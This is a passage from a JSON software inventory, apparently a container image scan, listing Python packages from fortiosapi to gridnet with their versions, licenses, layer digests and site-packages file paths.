"AnalyzedBy": "python-pkg" }, { "Name": "fortiosapi", "Identifier": { "PURL": "pkg:pypi/fortiosapi@1.0.5", "UID": "e28514371ddfbc48" }, "Version": "1.0.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/fortiosapi-1.0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "freebox-api", "Identifier": { "PURL": "pkg:pypi/freebox-api@1.3.1", "UID": "baeddc6629b54e98" }, "Version": "1.3.1", "Licenses": [ "GPL-3.0-or-later", "Other/Proprietary License" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/freebox_api-1.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "freenub", "Identifier": { "PURL": "pkg:pypi/freenub@0.1.0", "UID": "cae295705bd832d7" }, "Version": "0.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/freenub-0.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "freesms", "Identifier": { "PURL": "pkg:pypi/freesms@0.2.0", "UID": "a0e05e649b594935" }, "Version": "0.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/freesms-0.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fressnapftracker", "Identifier": { "PURL": "pkg:pypi/fressnapftracker@0.2.2", "UID": "7c0b6ec00987eed2" }, "Version": "0.2.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/fressnapftracker-0.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fritzconnection", "Identifier": { "PURL": "pkg:pypi/fritzconnection@1.15.1", "UID": "b72203472720e54d" }, "Version": "1.15.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/fritzconnection-1.15.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "frozendict", "Identifier": { "PURL": "pkg:pypi/frozendict@2.4.7", "UID": "53ce1325360a0652" }, "Version": "2.4.7", "Licenses": [ "LGPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/frozendict-2.4.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "frozenlist", "Identifier": { "PURL": "pkg:pypi/frozenlist@1.8.0", "UID": "2ba7289022a95368" }, "Version": "1.8.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/frozenlist-1.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ftfy", "Identifier": { "PURL": "pkg:pypi/ftfy@6.3.1", "UID": "f755a42b17fef658" }, "Version": "6.3.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ftfy-6.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fumis", "Identifier": { "PURL": "pkg:pypi/fumis@0.4.0", "UID": "fb108e77fcfd6bda" }, "Version": "0.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/fumis-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "furl", "Identifier": { "PURL": "pkg:pypi/furl@2.1.4", "UID": "58bffda58d8cd6fb" }, "Version": "2.1.4", "Licenses": [ "Public Domain" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/furl-2.1.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "future", "Identifier": { "PURL": "pkg:pypi/future@1.0.0", "UID": "1504fdd3a3cd3138" }, "Version": "1.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/future-1.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fyta_cli", "Identifier": { "PURL": "pkg:pypi/fyta-cli@0.7.3", "UID": "1693f7a16a62659d" }, "Version": "0.7.3", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/fyta_cli-0.7.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "gTTS", "Identifier": { "PURL": "pkg:pypi/gtts@2.5.4", "UID": "94fb34fdb2a3a71e" }, "Version": "2.5.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/gTTS-2.5.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "gardena-bluetooth", "Identifier": { "PURL": "pkg:pypi/gardena-bluetooth@2.8.1", "UID": "4c2cfb2b6b6a5e5a" }, "Version": "2.8.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/gardena_bluetooth-2.8.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "gassist-text", "Identifier": { "PURL": "pkg:pypi/gassist-text@0.0.14", "UID": "5a7d6502bc7a41dc" }, "Version": "0.0.14", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/gassist_text-0.0.14.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "gcal_sync", "Identifier": { "PURL": "pkg:pypi/gcal-sync@8.0.0", "UID": "6c4c06ce9fd30109" }, "Version": "8.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/gcal_sync-8.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "genie_partner_sdk", "Identifier": { "PURL": "pkg:pypi/genie-partner-sdk@1.0.11", "UID": "a2dc5ca9dee42062" }, "Version": "1.0.11", "Licenses": [ "text://Copyright (c) 2025 The Genie Company Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE." ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/genie_partner_sdk-1.0.11.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "geniushub-client", "Identifier": { "PURL": "pkg:pypi/geniushub-client@0.7.4", "UID": "e4658a1017b7a118" }, "Version": "0.7.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/geniushub_client-0.7.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "geocachingapi", "Identifier": { "PURL": "pkg:pypi/geocachingapi@0.3.0", "UID": "de9607229aebf5d9" }, "Version": "0.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/geocachingapi-0.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "geographiclib", "Identifier": { "PURL": "pkg:pypi/geographiclib@2.1", "UID": "8bb1fd5dda6e59a6" }, "Version": "2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/geographiclib-2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "geojson", "Identifier": { "PURL": "pkg:pypi/geojson@3.3.0", "UID": "c8f162cc8e4857ca" }, "Version": "3.3.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/geojson-3.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "geopy", "Identifier": { "PURL": "pkg:pypi/geopy@2.3.0", "UID": "138f960540f3cd5e" }, "Version": "2.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/geopy-2.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "georss-generic-client", "Identifier": { "PURL": "pkg:pypi/georss-generic-client@0.8", "UID": "5db83f26451c0fd9" }, "Version": "0.8", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/georss_generic_client-0.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "georss-ign-sismologia-client", "Identifier": { "PURL": "pkg:pypi/georss-ign-sismologia-client@0.8", "UID": "648ed8f0b9890cdb" }, "Version": "0.8", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/georss_ign_sismologia_client-0.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "georss-qld-bushfire-alert-client", "Identifier": { "PURL": "pkg:pypi/georss-qld-bushfire-alert-client@0.8", "UID": "51cdd530d01eb427" }, "Version": "0.8", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/georss_qld_bushfire_alert_client-0.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "georss_client", "Identifier": { "PURL": "pkg:pypi/georss-client@2026.6.1", "UID": "b763f64d74a61900" }, "Version": "2026.6.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/georss_client-2026.6.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "getmac", "Identifier": { "PURL": "pkg:pypi/getmac@0.9.5", "UID": "17acac3a34446fcf" }, "Version": "0.9.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/getmac-0.9.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "gios", "Identifier": { "PURL": "pkg:pypi/gios@7.1.0", "UID": "c0d08e53213e96e9" }, "Version": "7.1.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/gios-7.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "glances_api", "Identifier": { "PURL": "pkg:pypi/glances-api@0.10.0", "UID": "c40e380307a4ea8f" }, "Version": "0.10.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/glances_api-0.10.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "go2rtc-client", "Identifier": { "PURL": "pkg:pypi/go2rtc-client@0.4.0", "UID": "6acd9def493a0acb" }, "Version": "0.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/go2rtc_client-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "goalzero", "Identifier": { "PURL": "pkg:pypi/goalzero@0.2.2", "UID": "9eabfd2e279b79e4" }, "Version": "0.2.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/goalzero-0.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "goodwe", "Identifier": { "PURL": "pkg:pypi/goodwe@0.4.10", "UID": "ab9c22e8fb9dcb10" }, "Version": "0.4.10", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/goodwe-0.4.10.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-api-core", "Identifier": { "PURL": "pkg:pypi/google-api-core@2.31.0", "UID": "ef671a3c80eafc86" }, "Version": "2.31.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/google_api_core-2.31.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-api-python-client", "Identifier": { "PURL": "pkg:pypi/google-api-python-client@2.71.0", "UID": "756ed3dd32f1fcf" }, "Version": "2.71.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/google_api_python_client-2.71.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-auth", "Identifier": { "PURL": "pkg:pypi/google-auth@2.55.2", "UID": "6cc6667355710572" }, "Version": "2.55.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/google_auth-2.55.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-auth-httplib2", "Identifier": { "PURL": "pkg:pypi/google-auth-httplib2@0.4.0", "UID": "3e4c48bd8292cfa1" }, "Version": "0.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/google_auth_httplib2-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-auth-oauthlib", "Identifier": { "PURL": "pkg:pypi/google-auth-oauthlib@1.4.0", "UID": "57690bc3da32c6e9" }, "Version": "1.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/google_auth_oauthlib-1.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-cloud-core", "Identifier": { "PURL": "pkg:pypi/google-cloud-core@2.6.0", "UID": "857e02ff9abd6675" }, "Version": "2.6.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/google_cloud_core-2.6.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-cloud-firestore", "Identifier": { "PURL": "pkg:pypi/google-cloud-firestore@2.27.0", "UID": "4c83b1b750abf1fe" }, "Version": "2.27.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/google_cloud_firestore-2.27.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-cloud-pubsub", "Identifier": { "PURL": "pkg:pypi/google-cloud-pubsub@2.29.0", "UID": "b8cc6be3d8148ad4" }, "Version": "2.29.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/google_cloud_pubsub-2.29.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-cloud-speech", "Identifier": { "PURL": "pkg:pypi/google-cloud-speech@2.31.1", "UID": "fbe1b8ae458354df" }, "Version": "2.31.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/google_cloud_speech-2.31.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-cloud-texttospeech", "Identifier": { "PURL": "pkg:pypi/google-cloud-texttospeech@2.25.1", "UID": "5e068903b47e5d2" }, "Version": "2.25.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/google_cloud_texttospeech-2.25.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-genai", "Identifier": { "PURL": "pkg:pypi/google-genai@1.59.0", "UID": "b5a4ce8018703c5e" }, "Version": "1.59.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/google_genai-1.59.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-geo-type", "Identifier": { "PURL": "pkg:pypi/google-geo-type@0.7.0", "UID": "2635c9cb23e5bde4" }, "Version": "0.7.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/google_geo_type-0.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-maps-routing", "Identifier": { "PURL": "pkg:pypi/google-maps-routing@0.6.15", "UID": "3bedd8cff0194512" }, "Version": "0.6.15", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/google_maps_routing-0.6.15.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google_air_quality_api", "Identifier": { "PURL": "pkg:pypi/google-air-quality-api@3.0.1", "UID": "92cf4cc0a1438bee" }, "Version": "3.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/google_air_quality_api-3.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google_nest_sdm", "Identifier": { "PURL": "pkg:pypi/google-nest-sdm@9.1.2", "UID": "c2366e2f1f6129dd" }, "Version": "9.1.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/google_nest_sdm-9.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google_photos_library_api", "Identifier": { "PURL": "pkg:pypi/google-photos-library-api@0.12.1", "UID": "996fd28c627165df" }, "Version": "0.12.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/google_photos_library_api-0.12.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "googleapis-common-protos", "Identifier": { "PURL": "pkg:pypi/googleapis-common-protos@1.75.0", "UID": "601e5e5212aacaf0" }, "Version": "1.75.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/googleapis_common_protos-1.75.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "goslide-api", "Identifier": { "PURL": "pkg:pypi/goslide-api@0.7.4", "UID": "d8c486f4c49c0f2d" }, "Version": "0.7.4", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/goslide_api-0.7.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "gotailwind", "Identifier": { "PURL": "pkg:pypi/gotailwind@0.4.0", "UID": "43b87828aedc16fd" }, "Version": "0.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/gotailwind-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "govee-ble", "Identifier": { "PURL": "pkg:pypi/govee-ble@1.4.0", "UID": "d6f94fdcb684d52a" }, "Version": "1.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/govee_ble-1.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "govee-local-api", "Identifier": { "PURL": "pkg:pypi/govee-local-api@2.4.0", "UID": "b87372510398ea4f" }, "Version": "2.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/govee_local_api-2.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "gpiod", "Identifier": { "PURL": "pkg:pypi/gpiod@2.5.0", "UID": "c14b9822aa7006f0" }, "Version": "2.5.0", "Licenses": [ "LGPL-2.1-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/gpiod-2.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "gpiozero", "Identifier": { "PURL": "pkg:pypi/gpiozero@1.6.2", "UID": "c8cdf0e61104691e" }, "Version": "1.6.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/gpiozero-1.6.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "gps3", "Identifier": { "PURL": "pkg:pypi/gps3@0.33.3", "UID": "5f51362cf0783b78" }, "Version": "0.33.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/gps3-0.33.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "gql", "Identifier": { "PURL": "pkg:pypi/gql@4.0.0", "UID": "4406d0c30b52e506" }, "Version": "4.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/gql-4.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "graphql-core", "Identifier": { "PURL": "pkg:pypi/graphql-core@3.2.11", "UID": "9babd13f1246f115" }, "Version": "3.2.11", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/graphql_core-3.2.11.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "graphviz", "Identifier": { "PURL": "pkg:pypi/graphviz@0.21", "UID": "aaf0ceddeaf87b3a" }, "Version": "0.21", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/graphviz-0.21.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "greeclimate", "Identifier": { "PURL": "pkg:pypi/greeclimate@2.1.4", "UID": "1fedd4e4b1913ed9" }, "Version": "2.1.4", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/greeclimate-2.1.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "greencell_client", "Identifier": { "PURL": "pkg:pypi/greencell-client@1.0.3", "UID": "863a152f9ea79a40" }, "Version": "1.0.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/greencell_client-1.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "greeneye-monitor", "Identifier": { "PURL": "pkg:pypi/greeneye-monitor@3.0.3", "UID": "ec6c77fa13755994" }, "Version": "3.0.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/greeneye_monitor-3.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "greenlet", "Identifier": { "PURL": "pkg:pypi/greenlet@3.5.3", "UID": "56213bc5175ebb92" }, "Version": "3.5.3", "Licenses": [ "MIT AND PSF-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/greenlet-3.5.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "greenplanet-energy-api", "Identifier": { "PURL": "pkg:pypi/greenplanet-energy-api@0.1.10", "UID": "d1cdbb19849f6f6f" }, "Version": "0.1.10", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/greenplanet_energy_api-0.1.10.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "gridnet", "Identifier": { "PURL": "pkg:pypi/gridnet@5.0.1", "UID": "50ad4147ecf64725" }, "Version": "5.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/gridnet-5.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "growattServer", "Identifier": { "PURL": 